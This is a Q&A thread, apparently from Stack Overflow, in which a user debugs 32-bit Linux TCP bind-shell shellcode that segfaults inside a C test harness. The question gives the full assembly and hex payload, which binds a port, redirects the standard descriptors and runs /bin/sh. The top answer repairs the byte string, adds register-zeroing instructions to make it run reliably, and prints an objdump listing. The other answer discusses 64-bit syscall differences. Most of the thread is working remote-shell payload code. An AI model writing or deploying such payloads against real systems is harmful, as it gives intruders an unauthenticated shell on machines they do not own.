babmhkk
babmhkk

Reputation: 33

32-bit shellcode executes in assembly but not in c on 64-bit os even with -m32

I'm working on a tcp-bind shellcode for a 32-bit system. The code is sitting on a 32-bit ubuntu and the host os is 64 Bit Windows 10 (do they even make 32 bit windows 10?)

The shellcode is a tcp-bind. It executes fine as its own standalone executable but when the code is converted to hex and is put into a c test program there is a segmentation fault. This occurs even when using gcc -m32 -fno-stack-protector -z execstack

Here's the shellcode disassembled

    global _start

    section .text
    _start:
    xor edi, edi

    ; Socket Call
    mov al, 0x66    ;SysSocket syscall
    mov bl, 1     ; Socket call
    push edi        ; INADDR_ANY
    push 1  ; SOCK_STREAM
    push 2  ; AF_INET
    mov ecx, esp    ; long *args
    int 0x80


    ;Bind
    mov edx, eax    ; reurn of Socket call is sockfd, place into edi
    mov al, 0x66    ; SysSocket syscall
    inc bl  ; Bind call
    push edi; INADDR_ANY
    push word 0x3582; Port Number
    push word 2     ; AF_INET
    mov ecx, esp
    push 16         ;addrlen
    push ecx        ;*sockaddr
    push edx        ;SockFD
    mov ecx, esp
    int 0x80

    ;Listen
    mov al, 0x66
    add bl, 2
    push edi
    push edx
    mov ecx, esp
    int 0x80

    ;Accept
    mov al, 0x66
    inc bl
    push edi
    push edi;
    push edx
    mov ecx, esp
    int 0x80

    ;ready for dup2

    xchg ebx, eax
    xor ecx, ecx
    mov cl, 2


    loop:
    mov al, 63
    int 0x80
    dec ecx
    cmp ecx, edi
    jge loop
    ; PUSH the first null dword
    push edi

    ; PUSH //bin/sh (8 bytes)

    push 0x68732f2f
    push 0x6e69622f

    mov ebx, esp

    push edi
    mov edx, esp

    push ebx
    mov ecx, esp

    mov al, 11
    int 0x80

And here's the C code:

    #include<stdio.h>
    #include<string.h>

    unsigned char code[] = \ 
    "\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2        
    \xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52
    \x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe
    \xc3\x57\\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80
    \x49\x39\xf9\\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
    \x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

    main()
    {

    printf("Shellcode Length:  %d\n", strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

    }

Any help to figuring out when I can't execute in C and how to fix would greatly appreciated, please. Thanks!

I hold no liability for those that wish to use this code.

Upvotes: 2

Views: 1643

Answers (2)

Michael Petch
Michael Petch

Reputation: 47603

There are problems with the code you posted. Splitting the line up with line breaks shouldn't really compile. I'm not sure if you inserted line breaks into the question for readability and the original had the string defined on all one line. In a couple of locations there is an extraneous \. There is a \\x57 that should be \x57 and \\x7d that should be \x7d.

It probably should have looked like:

unsigned char code[] = \
"\x31\xff\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

The string above places each line between its own double quotes so they are concatenated by the compiler when parsed.

Your assembly code is probably lucky that it was working as a stand alone application at all. Inside of another program it is likely the case the registers won't be zero. Your code does this:

xor edi, edi

; Socket Call
mov al, 0x66    ;SysSocket syscall
mov bl, 1     ; Socket call

You zero out the entire EDI register but your code relies on the upper bits of EAX and EBX being zero which may not be the case. You should zero both of those out with:

xor edi, edi
xor eax, eax
xor ebx, ebx

; Socket Call
mov al, 0x66    ;SysSocket syscall
mov bl, 1     ; Socket call

Adding the two extra instructions to zero the registers would make the string look like:

unsigned char code[] = \
"\x31\xff\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x57\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc2"
"\xb0\x66\xfe\xc3\x57\x66\x68\x82\x35\x66\x6a\x02\x89\xe1\x6a\x10\x51\x52"
"\x89\xe1\xcd\x80\xb0\x66\x80\xc3\x02\x57\x52\x89\xe1\xcd\x80\xb0\x66\xfe"
"\xc3\x57\x57\x52\x89\xe1\xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80"
"\x49\x39\xf9\x7d\xf7\x57\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

OBJDUMP is a useful tool in this case. It can disassemble code and data from an executable (your C code in this case). You can use this output to confirm the string has the instructions you expect. objdump -D -Mintel progname where progname is the name of the executable. -Mintel disassembles the code and data with Intel syntax rather than AT&T. The output generated from your character array code looks something like this:

 08049780 <code>:
 8049780:       31 ff                   xor    edi,edi
 8049782:       31 c0                   xor    eax,eax
 8049784:       31 db                   xor    ebx,ebx
 8049786:       b0 66                   mov    al,0x66
 8049788:       b3 01                   mov    bl,0x1
 804978a:       57                      push   edi
 804978b:       6a 01                   push   0x1
 804978d:       6a 02                   push   0x2
 804978f:       89 e1                   mov    ecx,esp
 8049791:       cd 80                   int    0x80
 8049793:       89 c2                   mov    edx,eax
 8049795:       b0 66                   mov    al,0x66
 8049797:       fe c3                   inc    bl
 8049799:       57                      push   edi
 804979a:       66 68 82 35             pushw  0x3582
 804979e:       66 6a 02                pushw  0x2
 80497a1:       89 e1                   mov    ecx,esp
 80497a3:       6a 10                   push   0x10
 80497a5:       51                      push   ecx
 80497a6:       52                      push   edx
 80497a7:       89 e1                   mov    ecx,esp
 80497a9:       cd 80                   int    0x80
 80497ab:       b0 66                   mov    al,0x66
 80497ad:       80 c3 02                add    bl,0x2
 80497b0:       57                      push   edi
 80497b1:       52                      push   edx
 80497b2:       89 e1                   mov    ecx,esp
 80497b4:       cd 80                   int    0x80
 80497b6:       b0 66                   mov    al,0x66
 80497b8:       fe c3                   inc    bl
 80497ba:       57                      push   edi
 80497bb:       57                      push   edi
 80497bc:       52                      push   edx
 80497bd:       89 e1                   mov    ecx,esp
 80497bf:       cd 80                   int    0x80
 80497c1:       93                      xchg   ebx,eax
 80497c2:       31 c9                   xor    ecx,ecx
 80497c4:       b1 02                   mov    cl,0x2
 80497c6:       b0 3f                   mov    al,0x3f
 80497c8:       cd 80                   int    0x80
 80497ca:       49                      dec    ecx
 80497cb:       39 f9                   cmp    ecx,edi
 80497cd:       7d f7                   jge    80497c6 <code+0x46>
 80497cf:       57                      push   edi
 80497d0:       68 2f 2f 73 68          push   0x68732f2f
 80497d5:       68 2f 62 69 6e          push   0x6e69622f
 80497da:       89 e3                   mov    ebx,esp
 80497dc:       57                      push   edi
 80497dd:       89 e2                   mov    edx,esp
 80497df:       53                      push   ebx
 80497e0:       89 e1                   mov    ecx,esp
 80497e2:       b0 0b                   mov    al,0xb
 80497e4:       cd 80                   int    0x80

Upvotes: 2

Frederico Pissarra
Frederico Pissarra

Reputation: 21

IA-32 and IA-32e modes are a little bit different from each other. int 0x80 is still supported, but the prefeered way to use syscalls is via SYSCALL instruction. In IA-32 mode all arguments must be pushed to stack. In IA-32e, the registers RDI, RSI, RDX, R8-R10 are used for the arguments. If you have more than 6 arguments then you must push them to the stack (QWORD aligned!)... Using SYSCALL instruction the resulting RFLAGS is returned in R11 register.

Pushing 32 bit registers on stack is not available in IA-32e mode (try it, add a "bits 64" in the begining of your code and assemble it again). From your 32 bit code, "push edi" will be interpreted as "push rdi"...

The problem could be the "dec ecx" instruction. In IA-32 mode is 0x49, but IA-32e is 0xFF 0xC9. And, of course, your code is dealing with 32 bit ESP, not RSP...

Upvotes: 0

Related Questions